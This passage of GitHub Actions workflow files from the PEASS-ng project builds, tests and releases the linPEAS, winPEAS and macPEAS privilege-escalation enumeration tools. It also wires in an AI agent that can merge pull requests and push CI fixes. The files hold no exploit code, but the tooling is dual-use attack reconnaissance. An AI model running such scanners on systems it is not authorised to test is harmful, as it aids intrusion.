${{ github.head_ref }} # github_token: ${{ secrets.GITHUB_TOKEN }} # force: true Build_and_test_linpeas_master: runs-on: ubuntu-latest steps: # Download repo - uses: actions/checkout@v5 with: ref: ${{ github.head_ref }} # Setup go - uses: actions/setup-go@v6 with: go-version: '1.23' cache: false - run: go version # Build linpeas - name: Build linpeas run: | python3 -m pip install PyYAML cd linPEAS python3 -m builder.linpeas_builder --all --output linpeas_fat.sh python3 -m builder.linpeas_builder --all-no-fat --output linpeas.sh python3 -m builder.linpeas_builder --small --output linpeas_small.sh - name: Run linPEAS builder tests run: python3 -m unittest discover -s linPEAS/tests -p "test_*.py" # Build linpeas binaries - name: Build linpeas binaries run: | git clone https://github.com/carlospolop/sh2bin cd sh2bin bash build.sh ../linPEAS/linpeas.sh mv builds/sh2bin_linux_386 builds/linpeas_linux_386 mv builds/sh2bin_linux_amd64 builds/linpeas_linux_amd64 mv builds/sh2bin_linux_arm builds/linpeas_linux_arm mv builds/sh2bin_linux_arm64 builds/linpeas_linux_arm64 mv builds/sh2bin_darwin_amd64 builds/linpeas_darwin_amd64 mv builds/sh2bin_darwin_arm64 builds/linpeas_darwin_arm64 ls -lR ./ # Run linpeas help as quick test - name: Run linpeas help run: linPEAS/linpeas_fat.sh -h && linPEAS/linpeas.sh -h && linPEAS/linpeas_small.sh -h # Run linpeas as a test - name: Run linpeas system_information run: linPEAS/linpeas_fat.sh -o system_information -a - name: Run linpeas container run: linPEAS/linpeas_fat.sh -o container -a - name: Run linpeas cloud run: linPEAS/linpeas_fat.sh -o cloud -a - name: Run linpeas procs_crons_timers_srvcs_sockets run: linPEAS/linpeas_fat.sh -o procs_crons_timers_srvcs_sockets -a - name: Run linpeas network_information run: linPEAS/linpeas_fat.sh -o network_information -t -a - name: Run linpeas users_information run: linPEAS/linpeas_fat.sh -o users_information -a - name: Run linpeas software_information run: linPEAS/linpeas_fat.sh -o software_information -a - name: Run linpeas interesting_perms_files run: linPEAS/linpeas_fat.sh -o interesting_perms_files -a - name: Run linpeas interesting_files run: linPEAS/linpeas_fat.sh -o interesting_files -a # Too much time #- name: Run linpeas api_keys_regex # run: linPEAS/linpeas.sh -o api_keys_regex -r # Upload files for release - name: Upload linpeas.sh uses: actions/upload-artifact@v4 with: name: linpeas.sh path: linPEAS/linpeas.sh - name: Upload linpeas_fat.sh uses: actions/upload-artifact@v4 with: name: linpeas_fat.sh path: linPEAS/linpeas_fat.sh - name: Upload linpeas_small.sh uses: actions/upload-artifact@v4 with: name: linpeas_small.sh path: linPEAS/linpeas_small.sh ## Linux bins - name: Upload linpeas_linux_386 uses: actions/upload-artifact@v4 with: name: linpeas_linux_386 path: sh2bin/builds/linpeas_linux_386 - name: Upload linpeas_linux_amd64 uses: actions/upload-artifact@v4 with: name: linpeas_linux_amd64 path: sh2bin/builds/linpeas_linux_amd64 - name: Upload linpeas_linux_arm uses: actions/upload-artifact@v4 with: name: linpeas_linux_arm path: sh2bin/builds/linpeas_linux_arm - name: Upload linpeas_linux_arm64 uses: actions/upload-artifact@v4 with: name: linpeas_linux_arm64 path: sh2bin/builds/linpeas_linux_arm64 ## Darwin bins - name: Upload linpeas_darwin_amd64 uses: actions/upload-artifact@v4 with: name: linpeas_darwin_amd64 path: sh2bin/builds/linpeas_darwin_amd64 - name: Upload linpeas_darwin_arm64 uses: actions/upload-artifact@v4 with: name: linpeas_darwin_arm64 path: sh2bin/builds/linpeas_darwin_arm64 # Clean sh2bin repo - name: Cleaning sh2bin run: rm -rf sh2bin # - name: Create local changes # run: git add linPEAS/linpeas.sh # - name: Commit results to Github # run: | # git config --local user.email "" # git config --global user.name "CI-linpeas-ubuntu" # git pull origin "${{ github.ref }}" --autostash --rebase -Xours # git commit -m "linpeas.sh auto update" -a --allow-empty # - name: Push changes # uses: ad-m/github-push-action@master # with: # branch: ${{ github.head_ref }} # github_token: ${{ secrets.GITHUB_TOKEN }} # force: true Build_and_test_macpeas_master: runs-on: macos-latest steps: # Download repo - uses: actions/checkout@v5 # Build linpeas - name: Build macpeas run: | python3 -m pip install PyYAML --break-system-packages python3 -m pip install requests --break-system-packages cd linPEAS python3 -m builder.linpeas_builder --all --output linpeas_fat.sh # Run linpeas help as quick test - name: Run macpeas help run: linPEAS/linpeas_fat.sh -h # Run macpeas parts to test it #- name: Run macpeas # run: linPEAS/linpeas.sh -D -o system_information,container,procs_crons_timers_srvcs_sockets,network_information,users_information,software_information Publish_release: runs-on: ubuntu-latest needs: [Build_and_test_winpeas_master, Build_and_test_linpeas_master, Build_and_test_macpeas_master] steps: # Download files to release - name: Download winpeasx64ofs uses: actions/download-artifact@v4.1.7 with: name: winPEASx64_ofs.exe - name: Download winpeasx86ofs uses: actions/download-artifact@v4.1.7 with: name: winPEASx86_ofs.exe - name: Download winpeasanyofs uses: actions/download-artifact@v4.1.7 with: name: winPEASany_ofs.exe - name: Download winpeasx64 uses: actions/download-artifact@v4.1.7 with: name: winPEASx64.exe - name: Download winpeasx86 uses: actions/download-artifact@v4.1.7 with: name: winPEASx86.exe - name: Download winpeasany uses: actions/download-artifact@v4.1.7 with: name: winPEASany.exe - name: Download winpeas.bat uses: actions/download-artifact@v4.1.7 with: name: winPEAS.bat - name: Download linpeas.sh uses: actions/download-artifact@v4.1.7 with: name: linpeas.sh - name: Download linpeas_fat.sh uses: actions/download-artifact@v4.1.7 with: name: linpeas_fat.sh - name: Download linpeas_small.sh uses: actions/download-artifact@v4.1.7 with: name: linpeas_small.sh - name: Download linpeas_linux_386 uses: actions/download-artifact@v4.1.7 with: name: linpeas_linux_386 - name: Download linpeas_linux_amd64 uses: actions/download-artifact@v4.1.7 with: name: linpeas_linux_amd64 - name: Download linpeas_linux_arm uses: actions/download-artifact@v4.1.7 with: name: linpeas_linux_arm - name: Download linpeas_linux_arm64 uses: actions/download-artifact@v4.1.7 with: name: linpeas_linux_arm64 - name: Download linpeas_darwin_amd64 uses: actions/download-artifact@v4.1.7 with: name: linpeas_darwin_amd64 - name: Download linpeas_darwin_arm64 uses: actions/download-artifact@v4.1.7 with: name: linpeas_darwin_arm64 - name: Get current date id: date run: echo "date=$(date +'%Y%m%d')" >> "$GITHUB_OUTPUT" - name: Generate random id: random_n run: echo "some_rand=$(openssl rand -hex 4)" >> "$GITHUB_OUTPUT" # Create the release - name: Create Release id: create_release uses: actions/create-release@v1 env: GITHUB_TOKEN: ${{ secrets.GITHUB_TOKEN }} with: tag_name: ${{steps.date.outputs.date}}-${{steps.random_n.outputs.some_rand}} release_name: Release ${{ github.ref }} ${{steps.date.outputs.date}}-${{steps.random_n.outputs.some_rand}} draft: false prerelease: false - id: upload_release_assets uses: dwenegar/upload-release-assets@v1 with: release_id: ${{ steps.create_release.outputs.id }} assets_path: . env: GITHUB_TOKEN: ${{ secrets.GITHUB_TOKEN }} ================================================ FILE: .github/workflows/PR-tests.yml ================================================ name: PR-tests on: pull_request: branches: - master - main paths-ignore: - '.github/**' workflow_dispatch: jobs: Build_and_test_winpeas_pr: runs-on: windows-latest # environment variables env: Solution_Path: 'winPEAS\winPEASexe\winPEAS.sln' Configuration: 'Release' steps: # checkout - name: Checkout uses: actions/checkout@v5 with: ref: ${{ github.head_ref }} - name: Download regexes run: | powershell.exe -ExecutionPolicy Bypass -File build_lists/download_regexes.ps1 # Add MSBuild to the PATH - name: Setup MSBuild.exe uses: microsoft/setup-msbuild@v2 # Setup NuGet - name: Setup NuGet.exe uses: nuget/setup-nuget@v2 # Restore the packages for testing - name: Restore the application run: nuget restore $env:Solution_Path # build - name: run MSBuild run: msbuild $env:Solution_Path /p:Configuration=$env:Configuration /p:UseSharedCompilation=false # Execute unit tests in the solution - name: Execute unit tests run: dotnet test $env:Solution_Path --configuration $env:Configuration # Build all versions - name: Build all versions run: | echo "build x64" msbuild -m $env:Solution_Path /t:Rebuild /p:Configuration=$env:Configuration /p:Platform="x64" /p:UseSharedCompilation=false echo "build x86" msbuild -m $env:Solution_Path /t:Rebuild /p:Configuration=$env:Configuration /p:Platform="x86" /p:UseSharedCompilation=false echo "build Any CPU" msbuild -m $env:Solution_Path /t:Rebuild /p:Configuration=$env:Configuration /p:Platform="Any CPU" /p:UseSharedCompilation=false - name: Execute winPEAS -h shell: pwsh run: | $Configuration = "Release" $exePath = "winPEAS/winPEASexe/winPEAS/bin/$Configuration/winPEAS.exe" if (Test-Path $exePath) { & $exePath -h } else { Write-Error "winPEAS.exe not found at $exePath" } - name: Execute winPEAS cloudinfo shell: pwsh run: | $Configuration = "Release" $exePath = "winPEAS/winPEASexe/winPEAS/bin/$Configuration/winPEAS.exe" if (Test-Path $exePath) { & $exePath cloudinfo } else { Write-Error "winPEAS.exe not found at $exePath" } - name: Execute winPEAS systeminfo shell: pwsh run: | $Configuration = "Release" $exePath = "winPEAS/winPEASexe/winPEAS/bin/$Configuration/winPEAS.exe" if (Test-Path $exePath) { & $exePath systeminfo } else { Write-Error "winPEAS.exe not found at $exePath" } - name: Execute winPEAS networkinfo shell: pwsh run: | $Configuration = "Release" $exePath = "winPEAS/winPEASexe/winPEAS/bin/$Configuration/winPEAS.exe" if (Test-Path $exePath) { & $exePath networkinfo } else { Write-Error "winPEAS.exe not found at $exePath" } Build_and_test_linpeas_pr: runs-on: ubuntu-latest steps: # Download repo - uses: actions/checkout@v5 with: ref: ${{ github.head_ref }} # Setup go - uses: actions/setup-go@v6 with: go-version: '1.23' cache: false - run: go version # Build linpeas - name: Build linpeas run: | python3 -m pip install PyYAML cd linPEAS python3 -m builder.linpeas_builder --all --output linpeas_fat.sh python3 -m builder.linpeas_builder --all-no-fat --output linpeas.sh python3 -m builder.linpeas_builder --small --output linpeas_small.sh - name: Run linPEAS builder tests run: python3 -m unittest discover -s linPEAS/tests -p "test_*.py" # Run linpeas help as quick test - name: Run linpeas help run: linPEAS/linpeas_fat.sh -h && linPEAS/linpeas.sh -h && linPEAS/linpeas_small.sh -h # Run linpeas as a test - name: Run linpeas system_information run: linPEAS/linpeas_fat.sh -o system_information -a - name: Run linpeas container run: linPEAS/linpeas_fat.sh -o container -a - name: Run linpeas cloud run: linPEAS/linpeas_fat.sh -o cloud -a - name: Run linpeas procs_crons_timers_srvcs_sockets run: linPEAS/linpeas_fat.sh -o procs_crons_timers_srvcs_sockets -a - name: Run linpeas network_information run: linPEAS/linpeas_fat.sh -o network_information -t -a - name: Run linpeas users_information run: linPEAS/linpeas_fat.sh -o users_information -a - name: Run linpeas software_information run: linPEAS/linpeas_fat.sh -o software_information -a - name: Run linpeas interesting_perms_files run: linPEAS/linpeas_fat.sh -o interesting_perms_files -a - name: Run linpeas interesting_files run: linPEAS/linpeas_fat.sh -o interesting_files -a Build_and_test_macpeas_pr: runs-on: macos-latest steps: # Download repo - uses: actions/checkout@v5 with: ref: ${{ github.head_ref }} # Build linpeas (macpeas) - name: Build macpeas run: | python3 -m pip install PyYAML --break-system-packages python3 -m pip install requests --break-system-packages cd linPEAS python3 -m builder.linpeas_builder --all --output linpeas_fat.sh # Run linpeas help as quick test - name: Run macpeas help run: linPEAS/linpeas_fat.sh -h # Run macpeas parts to test it - name: Run macpeas system_information run: linPEAS/linpeas_fat.sh -o system_information -a # - name: Run macpeas container # run: linPEAS/linpeas_fat.sh -o container -a # - name: Run macpeas cloud # run: linPEAS/linpeas_fat.sh -o cloud -a # - name: Run macpeas procs_crons_timers_srvcs_sockets # run: linPEAS/linpeas_fat.sh -o procs_crons_timers_srvcs_sockets -a # - name: Run macpeas network_information # run: linPEAS/linpeas_fat.sh -o network_information -t -a # - name: Run macpeas users_information # run: linPEAS/linpeas_fat.sh -o users_information -a # - name: Run macpeas software_information # run: linPEAS/linpeas_fat.sh -o software_information -a ================================================ FILE: .github/workflows/artifacts_cleanup.yml ================================================ name: 'nightly artifacts cleanup' on: schedule: - cron: '0 6 * * 2' # At 6am on Tuesdays workflow_dispatch: jobs: delete-artifacts: runs-on: ubuntu-latest steps: - uses: kolpav/purge-artifacts-action@v1 with: token: ${{ secrets.GITHUB_TOKEN }} expire-in: 1days # Set this to 0 to delete all artifacts ================================================ FILE: .github/workflows/chack-agent-pr-triage.yml ================================================ name: Chack-Agent PR Triage on: workflow_run: workflows: ["PR-tests"] types: [completed] jobs: chack_agent_triage: if: ${{ github.event.workflow_run.conclusion == 'success' }} runs-on: ubuntu-latest permissions: contents: write pull-requests: write env: CHACK_LOGS_HTTP_URL: ${{ secrets.CHACK_LOGS_HTTP_URL }} outputs: should_run: ${{ steps.gate.outputs.should_run }} pr_number: ${{ steps.gate.outputs.pr_number }} pr_title: ${{ steps.gate.outputs.pr_title }} pr_body: ${{ steps.gate.outputs.pr_body }} base_ref: ${{ steps.gate.outputs.base_ref }} head_ref: ${{ steps.gate.outputs.head_ref }} base_sha: ${{ steps.gate.outputs.base_sha }} head_sha: ${{ steps.gate.outputs.head_sha }} decision: ${{ steps.parse.outputs.decision }} message: ${{ steps.parse.outputs.message }} steps: - name: Resolve PR context id: gate env: PR_NUMBER: ${{ github.event.workflow_run.pull_requests[0].number }} HEAD_BRANCH: ${{ github.event.workflow_run.head_branch }} GH_REPO: ${{ github.repository }} GH_TOKEN: ${{ github.token }} run: | pr_number="${PR_NUMBER}" if [ -z "$pr_number" ] && [ -n "$HEAD_BRANCH" ]; then pr_number="$(gh pr list --state open --head "$HEAD_BRANCH" --json number --jq '.[0].number')" fi if [ -z "$pr_number" ]; then echo "No pull request found for this workflow_run; skipping." echo "should_run=false" >> "$GITHUB_OUTPUT" echo "pr_number=" >> "$GITHUB_OUTPUT" exit 0 fi author="$(gh pr view "$pr_number" --json author --jq .author.login)" if [ "$author" != "carlospolop" ]; then echo "PR author is $author; skipping." echo "should_run=false" >> "$GITHUB_OUTPUT" echo "pr_number=$pr_number" >> "$GITHUB_OUTPUT" exit 0 fi pr_title="$(gh pr view "$pr_number" --json title --jq .title)" pr_body="$(gh pr view "$pr_number" --json body --jq .body)" base_ref="$(gh pr view "$pr_number" --json baseRefName --jq .baseRefName)" head_ref="$(gh pr view "$pr_number" --json headRefName --jq .headRefName)" base_sha="$(gh pr view "$pr_number" --json baseRefOid --jq .baseRefOid)" head_sha="$(gh pr view "$pr_number" --json headRefOid --jq .headRefOid)" echo "should_run=true" >> "$GITHUB_OUTPUT" echo "pr_number=$pr_number" >> "$GITHUB_OUTPUT" echo "pr_title<> "$GITHUB_OUTPUT" echo "$pr_title" >> "$GITHUB_OUTPUT" echo "EOF" >> "$GITHUB_OUTPUT" echo "pr_body<> "$GITHUB_OUTPUT" echo "$pr_body" >> "$GITHUB_OUTPUT" echo "EOF" >> "$GITHUB_OUTPUT" echo "base_ref=$base_ref" >> "$GITHUB_OUTPUT" echo "head_ref=$head_ref" >> "$GITHUB_OUTPUT" echo "base_sha=$base_sha" >> "$GITHUB_OUTPUT" echo "head_sha=$head_sha" >> "$GITHUB_OUTPUT" - name: Checkout PR merge ref uses: actions/checkout@v5 with: ref: refs/pull/${{ steps.gate.outputs.pr_number }}/merge if: ${{ steps.gate.outputs.should_run == 'true' }} - name: Pre-fetch base and head refs if: ${{ steps.gate.outputs.should_run == 'true' }} run: | git fetch --no-tags origin \ ${{ steps.gate.outputs.base_ref }} \ +refs/pull/${{ steps.gate.outputs.pr_number }}/head - name: Set up Node.js for Codex if: ${{ steps.gate.outputs.should_run == 'true' }} uses: actions/setup-node@v5 with: node-version: "20" - name: Install Codex CLI if: ${{ steps.gate.outputs.should_run == 'true' }} run: | npm install -g @openai/codex codex --version - name: Run Chack Agent id: run_chack if: ${{ steps.gate.outputs.should_run == 'true' }} uses: carlospolop/chack-agent@master with: provider: codex model_primary: BEST_QUALITY max_turns: 125 main_action: peass-ng-pr-traige sub_action: Chack-Agent PR Triage system_prompt: | You are Chack Agent, an elite PR reviewer for PEASS-ng. Be conservative: merge only if changes are simple, safe, and valuable accoding to the uers give guidelines. If in doubt, comment with clear questions or concerns. Remember taht you are an autonomouts agent, use the exec tool to run the needed commands to list, read, analyze, modify, test... tools_config_json: "{\"exec_enabled\": true}" session_config_json: "{\"long_term_memory_enabled\": false}" agent_config_json: "{\"self_critique_enabled\": false, \"require_task_steps_manager_init_first\": true}" output_schema_file: .github/chack-agent/pr-merge-schema.json user_prompt: | You are reviewing PR #${{ steps.gate.outputs.pr_number }} for ${{ github.repository }}. Decide whether to merge or comment. Merge only if all of the following are true: - Changes are simple and safe (no DoS, no long operations, no backdoors). - Changes follow common PEASS syntax and style without breaking anything and add useful checks or value. - Changes simplify code or add new useful checks without breaking anything. If you don't have any doubts, and all the previous conditions are met, decide to merge. If you have serious doubts, choose "comment" and include your doubts or questions. If you decide to merge, include a short rationale. Pull request title and body: ---- ${{ steps.gate.outputs.pr_title }} ${{ steps.gate.outputs.pr_body }} Review ONLY the changes introduced by the PR: git log --oneline ${{ steps.gate.outputs.base_sha }}...${{ steps.gate.outputs.head_sha }} Output JSON only, following the provided schema: .github/chack-agent/pr-merge-schema.json codex_access_token: ${{ secrets.CODEX_ACCESS_TOKEN }} openai_api_key: ${{ secrets.OPENAI_API_KEY }} - name: Parse Chack Agent decision id: parse if: ${{ steps.gate.outputs.should_run == 'true' }} env: CHACK_MESSAGE: ${{ steps.run_chack.outputs.final-message }} run: | python3 - <<'PY' import json import os raw = (os.environ.get('CHACK_MESSAGE', '') or '').strip() decision = 'comment' message = 'Chack Agent did not provide details.' try: data = json.loads(raw or '{}') if isinstance(data, dict): decision = data.get('decision', 'comment') message = data.get('message', '').strip() or message else: message = raw or message except Exception: message = raw or message with open(os.environ['GITHUB_OUTPUT'], 'a') as handle: handle.write(f"decision={decision}\n") handle.write("message< ${{ github.event.workflow_run.conclusion == 'failure' && github.event.workflow_run.head_branch == 'master' && !startsWith(github.event.workflow_run.head_commit.message, 'Fix CI-master failures for run #') }} runs-on: ubuntu-latest permissions: contents: write pull-requests: write issues: write actions: read env: TARGET_BRANCH: master FIX_BRANCH: chack-agent/ci-master-fix-${{ github.event.workflow_run.id }} CHACK_LOGS_HTTP_URL: ${{ secrets.CHACK_LOGS_HTTP_URL }} CAN_PUSH_WORKFLOWS: ${{ secrets.CHACK_AGENT_FIXER_TOKEN != '' }} steps: - name: Checkout failing commit uses: actions/checkout@v5 with: ref: ${{ github.event.workflow_run.head_sha }} fetch-depth: 0 persist-credentials: true token: ${{ secrets.CHACK_AGENT_FIXER_TOKEN || github.token }} - name: Configure git author run: | git config user.name "chack-agent" git config user.email "chack-agent@users.noreply.github.com" - name: Create fix branch run: git checkout -b "$FIX_BRANCH" - name: Fetch failure summary and failed-step logs env: GH_TOKEN: ${{ github.token }} RUN_ID: ${{ github.event.workflow_run.id }} run: | failed_logs_file="$(pwd)/chack_failed_steps_logs.txt" if gh run view "$RUN_ID" --repo "${{ github.repository }}" --log-failed > "$failed_logs_file"; then if [ ! -s "$failed_logs_file" ]; then echo "No failed step logs were returned by gh run view --log-failed." > "$failed_logs_file" fi else echo "Failed to download failed step logs with gh run view --log-failed." > "$failed_logs_file" fi echo "FAILED_LOGS_PATH=$failed_logs_file" >> "$GITHUB_ENV" gh api -H "Accept: application/vnd.github+json" \ /repos/${{ github.repository }}/actions/runs/$RUN_ID/jobs \ --paginate > /tmp/jobs.json python3 - <<'PY' import json import re import subprocess data = json.load(open('/tmp/jobs.json')) lines = [] failure_evidence = [] failure_jobs = [] for job in data.get('jobs', []): if job.get('conclusion') == 'failure': job_id = job.get('id') lines.append(f"Job: {job.get('name')} (id {job.get('id')})") lines.append(f"URL: {job.get('html_url')}") for step in job.get('steps', []): if step.get('conclusion') == 'failure': lines.append(f" Step: {step.get('name')}") lines.append("") failure_jobs.append((job_id, job.get('name'))) error_pattern = re.compile(r'error\s+[A-Z]+[0-9]+|: error |Build FAILED\.|##\[error\]', re.IGNORECASE) for job_id, job_name in failure_jobs: try: raw_log = subprocess.check_output( ["gh", "api", f"/repos/${{ github.repository }}/actions/jobs/{job_id}/logs"], text=True, encoding="utf-8", errors="replace", ) except subprocess.CalledProcessError as exc: failure_evidence.append(f"Job {job_name} ({job_id}): failed to download raw logs: {exc}") continue matches = [] for raw_line in raw_log.splitlines(): if error_pattern.search(raw_line): line = re.sub(r"^\ufeff?", "", raw_line).strip() matches.append(line) failure_evidence.append(f"Job {job_name} ({job_id})") if matches: failure_evidence.extend(matches[:40]) else: failure_evidence.append("No compiler/runtime error lines extracted from raw job logs.") failure_evidence.append("") summary = "\n".join(lines).strip() or "No failing job details found." with open('chack_failure_summary.txt', 'w') as handle: handle.write(summary) evidence = "\n".join(failure_evidence).strip() or "No raw failure evidence extracted." with open('chack_failure_evidence.txt', 'w') as handle: handle.write(evidence) PY - name: Create Chack Agent prompt env: RUN_URL: ${{ github.event.workflow_run.html_url }} HEAD_SHA: ${{ github.event.workflow_run.head_sha }} run: | { echo "You are fixing a failing CI-master_test run in ${{ github.repository }}." echo "The failing workflow run is: ${RUN_URL}" echo "The failing commit SHA is: ${HEAD_SHA}" echo "The target branch for the final PR is: ${TARGET_BRANCH}" echo "" echo "Failure summary:" cat chack_failure_summary.txt echo "" echo "Extracted raw failure evidence:" cat chack_failure_evidence.txt echo "" echo "Failed-step logs file absolute path (local runner): ${FAILED_LOGS_PATH}" echo "Read that file to inspect the exact failing logs." echo "" echo "Please identify the cause, apply an easy, simple and minimal fix, and update files accordingly." echo "Priority rule: if extracted failure evidence references repository source files or project files, fix those first." echo "Only edit workflow files when the evidence points to the workflow itself (checkout/setup/permissions/event wiring) or when no repository file is implicated." echo "Do not guess from truncated logs when exact compiler/runtime error lines are available." echo "Workflow-file edits are allowed when required to fix the failing run." echo "Do not edit or create any .md or .txt files or any summary file and do not modify build_lists/regexes.yaml. Don't create job or summary files of you actions." echo "Run any fast checks you can locally (no network)." echo "Leave the repo in a state ready to commit; changes will be committed and pushed automatically." } > chack_prompt.txt - name: Set up Node.js for Codex uses: actions/setup-node@v5 with: node-version: "20" - name: Install Codex CLI run: | npm install -g @openai/codex codex --version - name: Run Chack Agent id: run_chack uses: carlospolop/chack-agent@master with: provider: codex model_primary: BEST_QUALITY max_turns: 125 main_action: peass-ng-master-failure sub_action: CI-master Failure Chack-Agent PR system_prompt: | Diagnose the failing gh actions workflow, propose the minimal and effective safe fix, and implement it. When the provided failure evidence names repository files, treat that as the primary root-cause signal and fix those files before considering workflow edits. Do not make speculative workflow changes when compiler/runtime error lines point to source or project files. Workflow-file edits are allowed when needed to fix the failure. Never edit any .md or .txt files. Never create or modify build_lists/regexes.yaml. Run only fast, local checks (no network). Leave the repo ready to commit. prompt_file: chack_prompt.txt tools_config_json: "{\"exec_enabled\": true}" session_config_json: "{\"long_term_memory_enabled\": false}" agent_config_json: "{\"self_critique_enabled\": false, \"require_task_steps_manager_init_first\": true}" codex_access_token: ${{ secrets.CODEX_ACCESS_TOKEN }} openai_api_key: ${{ secrets.OPENAI_API_KEY }} - name: Commit and push fix branch if changed id: push_fix env: ORIGINAL_HEAD_SHA: ${{ github.event.workflow_run.head_sha }} run: | rm -f chack_failure_summary.txt chack_failure_evidence.txt chack_prompt.txt chack_failed_steps_logs.txt pushed=false if ! git diff --quiet; then git add -A if [ "$CAN_PUSH_WORKFLOWS" != "true" ]; then # Avoid workflow-file pushes with token scopes that cannot write workflows. git reset -- .github/workflows || true git checkout -- .github/workflows || true git clean -fdx -- .github/workflows || true fi git reset -- chack_failure_summary.txt chack_failure_evidence.txt chack_prompt.txt chack_failed_steps_logs.txt # Never include generated regex list updates in automated fixer commits. git reset -- build_lists/regexes.yaml || true # Never allow the agent to commit generated linpeas artifacts. git reset -- linpeas.sh linpeas_fat.sh || true while IFS= read -r forbidden_file; do git reset -- "$forbidden_file" || true done < <(git diff --name-only --cached | grep -E '(^|/)(linpeas\.sh|linpeas_fat\.sh)$' || true) while IFS= read -r file; do case "$file" in *.txt|*.md) git reset -- "$file" ;; esac done < <(git diff --name-only --cached) if [ "$CAN_PUSH_WORKFLOWS" != "true" ] && git diff --cached --name-only | grep -q '^.github/workflows/'; then echo "Workflow-file changes are still staged; skipping push without workflows permission." echo "pushed=false" >> "$GITHUB_OUTPUT" exit 0 fi if git diff --cached --name-only | grep -Eq '(^|/)(linpeas\.sh|linpeas_fat\.sh)$'; then echo "Forbidden generated linpeas files are still staged; skipping push." echo "pushed=false" >> "$GITHUB_OUTPUT" exit 0 fi if ! git diff --cached --quiet; then git commit -m "Fix CI-master failures for run #${{ github.event.workflow_run.id }}" fi fi after_head="$(git rev-parse HEAD)" if [ "$after_head" = "$ORIGINAL_HEAD_SHA" ]; then echo "No commit produced by Chack Agent." echo "pushed=false" >> "$GITHUB_OUTPUT" exit 0 fi if [ "$CAN_PUSH_WORKFLOWS" = "true" ]; then echo "Sanitizing Chack commit range, preserving workflow fixes." git diff --binary "$ORIGINAL_HEAD_SHA"..HEAD -- \ . \ ':(exclude)chack_failure_summary.txt' \ ':(exclude)chack_failure_evidence.txt' \ ':(exclude)chack_prompt.txt' \ ':(exclude)chack_failed_steps_logs.txt' \ ':(exclude)build_lists/regexes.yaml' \ ':(exclude)*.md' \ ':(exclude)*.txt' \ ':(exclude)**/*.txt' \ ':(exclude)**/*.md' > /tmp/chack_sanitized.patch else echo "Sanitizing Chack commit range to non-workflow changes only." git diff --binary "$ORIGINAL_HEAD_SHA"..HEAD -- \ . \ ':(exclude).github/workflows/**' \ ':(exclude)chack_failure_summary.txt' \ ':(exclude)chack_failure_evidence.txt' \ ':(exclude)chack_prompt.txt' \ ':(exclude)chack_failed_steps_logs.txt' \ ':(exclude)build_lists/regexes.yaml' \ ':(exclude)*.md' \ ':(exclude)*.txt' \ ':(exclude)**/*.txt' \ ':(exclude)**/*.md' > /tmp/chack_sanitized.patch if [ ! -s /tmp/chack_sanitized.patch ]; then echo "Only workflow-file changes were produced; skipping push." echo "pushed=false" >> "$GITHUB_OUTPUT" exit 0 fi fi git reset --hard "$ORIGINAL_HEAD_SHA" git apply --index /tmp/chack_sanitized.patch rm -f chack_failure_summary.txt chack_failure_evidence.txt chack_prompt.txt chack_failed_steps_logs.txt git reset -- chack_failure_summary.txt chack_failure_evidence.txt chack_prompt.txt chack_failed_steps_logs.txt || true git reset -- linpeas.sh linpeas_fat.sh || true while IFS= read -r forbidden_file; do git reset -- "$forbidden_file" || true done < <(git diff --name-only --cached | grep -E '(^|/)(linpeas\.sh|linpeas_fat\.sh)$' || true) if git diff --cached --name-only | grep -Eq '(^|/)(linpeas\.sh|linpeas_fat\.sh)$'; then echo "Forbidden generated linpeas files remain after sanitizing; skipping push." echo "pushed=false" >> "$GITHUB_OUTPUT" exit 0 fi if git diff --cached --quiet; then echo "No sanitized changes left after filtering." echo "pushed=false" >> "$GITHUB_OUTPUT" exit 0 fi git commit -m "Fix CI-master failures for run #${{ github.event.workflow_run.id }}" if ! git push origin HEAD:"$FIX_BRANCH"; then echo "Push failed (likely token workflow permission limits); skipping PR creation." echo "pushed=false" >> "$GITHUB_OUTPUT" exit 0 fi pushed=true if [ "$pushed" = "true" ]; then echo "pushed=true" >> "$GITHUB_OUTPUT" else echo "pushed=false" >> "$GITHUB_OUTPUT" fi - name: Create PR to master if: ${{ steps.push_fix.outputs.pushed == 'true' }} id: create_pr env: GH_TOKEN: ${{ secrets.CHACK_AGENT_FIXER_TOKEN || github.token }} RUN_URL: ${{ github.event.workflow_run.html_url }} run: | set +e pr_output=$(gh pr create \ --title "Fix CI-master_test failure (run #${{ github.event.workflow_run.id }})" \ --body "Automated Chack Agent fix for failing CI-master_test run: ${RUN_URL}" \ --base "$TARGET_BRANCH" \ --head "$FIX_BRANCH" 2>&1) rc=$? set -e if [ $rc -eq 0 ]; then echo "url=$pr_output" >> "$GITHUB_OUTPUT" echo "created=true" >> "$GITHUB_OUTPUT" exit 0 fi echo "$pr_output" if echo "$pr_output" | grep -qi "not permitted to create or approve pull requests"; then echo "PR creation blocked by repository Actions policy. Fix branch was pushed: $FIX_BRANCH" echo "url=" >> "$GITHUB_OUTPUT" echo "created=false" >> "$GITHUB_OUTPUT" exit 0 fi echo "Unexpected PR creation error." exit $rc - name: Comment on created PR with Chack Agent result if: ${{ steps.push_fix.outputs.pushed == 'true' && steps.create_pr.outputs.created == 'true' && steps.run_chack.outputs.final-message != '' }} uses: actions/github-script@v7 env: PR_URL: ${{ steps.create_pr.outputs.url }} CHACK_MESSAGE: ${{ steps.run_chack.outputs.final-message }} with: github-token: ${{ github.token }} script: | const prUrl = process.env.PR_URL; const match = prUrl.match(/\/pull\/(\d+)$/); if (!match) { core.info(`Could not parse PR number from URL: ${prUrl}`); return; } await github.rest.issues.createComment({ owner: context.repo.owner, repo: context.repo.repo, issue_number: Number(match[1]), body: process.env.CHACK_MESSAGE, }); ================================================ FILE: .github/workflows/pr-failure-chack-agent-dispatch.yml ================================================ name: PR Failure Chack-Agent Dispatch on: workflow_run: workflows: ["PR-tests"] types: [completed] jobs: resolve_pr_context: if: > ${{ github.event.workflow_run.conclusion == 'failure' && !startsWith(github.event.workflow_run.head_commit.message || '', 'Fix CI failures for PR #') }} runs-on: ubuntu-latest permissions: pull-requests: read issues: read outputs: number: ${{ steps.pr_context.outputs.number }} author: ${{ steps.pr_context.outputs.author }} head_repo: ${{ steps.pr_context.outputs.head_repo }} head_branch: ${{ steps.pr_context.outputs.head_branch }} should_run: ${{ steps.pr_context.outputs.should_run }} steps: - name: Resolve PR context id: pr_context env: PR_NUMBER: ${{ github.event.workflow_run.pull_requests[0].number }} HEAD_BRANCH: ${{ github.event.workflow_run.head_branch }} GH_TOKEN: ${{ github.token }} run: | if [ -z "$PR_NUMBER" ] && [ -n "$HEAD_BRANCH" ]; then PR_NUMBER="$(gh pr list --state open --head "$HEAD_BRANCH" --json number --jq '.[0].number')" fi if [ -z "$PR_NUMBER" ]; then echo "No pull request found for workflow_run; skipping." { echo 